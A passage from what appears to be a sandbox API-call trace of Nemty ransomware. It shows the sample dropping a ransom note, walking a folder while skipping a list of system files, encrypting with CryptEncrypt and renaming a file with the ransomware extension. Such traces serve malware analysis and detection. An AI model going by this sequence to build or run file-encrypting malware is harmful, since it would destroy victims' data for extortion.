lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0102.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0102.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0102.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0102.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0102.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94228 [0102.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942b0 [0102.554] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0102.554] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows media player\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0102.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0102.555] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.555] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0102.556] CloseHandle (hObject=0x3c4) returned 1 [0102.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0102.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0102.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0102.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf0c5d3f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf0c5d3f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0102.556] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.556] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf0c5d3f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf0c5d3f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0102.556] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.556] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.556] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0102.556] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2=".") returned 1 [0102.556] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="..") returned 1 [0102.556] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="...") returned 1 [0102.556] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="windows") returned -1 [0102.556] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="rsa") returned -1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="NTDETECT.COM") returned -1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="ntldr") returned -1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="MSDOS.SYS") returned -1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="IO.SYS") returned 1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="boot.ini") returned 1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="boot.ini") returned 1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="ntuser.dat") returned -1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="desktop.ini") returned 1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="CONFIG.SYS") returned 1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="RECYCLER") returned -1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="bootmgr") returned 1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="programdata") returned -1 [0102.557] lstrcmpiW (lpString1="mpvis.dll.mui", lpString2="appdata") returned 1 [0102.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.dll.mui", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0102.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.dll.mui", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpvis.dll.mui", lpUsedDefaultChar=0x0) returned 13 [0102.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.dll.mui", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0102.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.dll.mui", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpvis.dll.mui", lpUsedDefaultChar=0x0) returned 13 [0102.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.dll.mui", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0102.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.dll.mui", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpvis.dll.mui", lpUsedDefaultChar=0x0) returned 13 [0102.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.dll.mui", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0102.557] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mpvis.dll.mui", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpvis.dll.mui", lpUsedDefaultChar=0x0) returned 13 [0102.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94228 [0102.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0102.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942b0 [0102.557] Sleep (dwMilliseconds=0x5) [0102.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0c83550, dwHighDateTime=0x1d561e7)) [0102.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf0c83550, dwHighDateTime=0x1d561e7)) [0102.568] GetLastError () returned 0xb7 [0102.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0102.568] GetLastError () returned 0xb7 [0102.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0102.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.568] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0102.568] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0102.568] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0102.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0102.568] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="GlCC3fr+dmR4sqGt92uXe2PjHtO15E6R5R/EM0xzBM4R2Kgr0ie7kNgAOx9rbSM/\r\nW7YaNLcJ05pWPfNlZWRv1zNWB+/SWIrfvYpv3UDOj6haAPrLyZNf8QZg42FNMiJN\r\npQqqQfL47KZe/jqHLiU2dAWPu5O8ejynD7fX5xL4K7uW2CWJhXEY/vlZ2MIK9SBB\r\nZEm3lngwQAD2BSqQIDy9nBfeZw7OeAZcurgCXBuDR9JEGKJi5VvkQ7co3IYowZd0\r\n+1ABetKAZrXEyH4iL+GXvlhsp7YZ6IH8C8VRrZBj9bOJAWyQ9Kk7K2qGKl0D8LC8\r\nsh4Lnyk2+K8m2rBWdAoTJQ==\r\n", pcchString=0x653ef9c) returned 1 [0102.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0102.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0102.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0102.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0102.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0102.568] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\mpvis.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\mpvis.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0102.569] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0102.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0102.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.579] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.588] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.617] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.617] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.645] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0102.676] CloseHandle (hObject=0xffffffff) returned 0 [0102.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94338 [0102.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0102.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340240 [0102.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0102.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\mpvis.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\mpvis.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\mpvis.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\mpvis.dll.mui._nemty_kgobjgd_")) returned 0 [0102.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 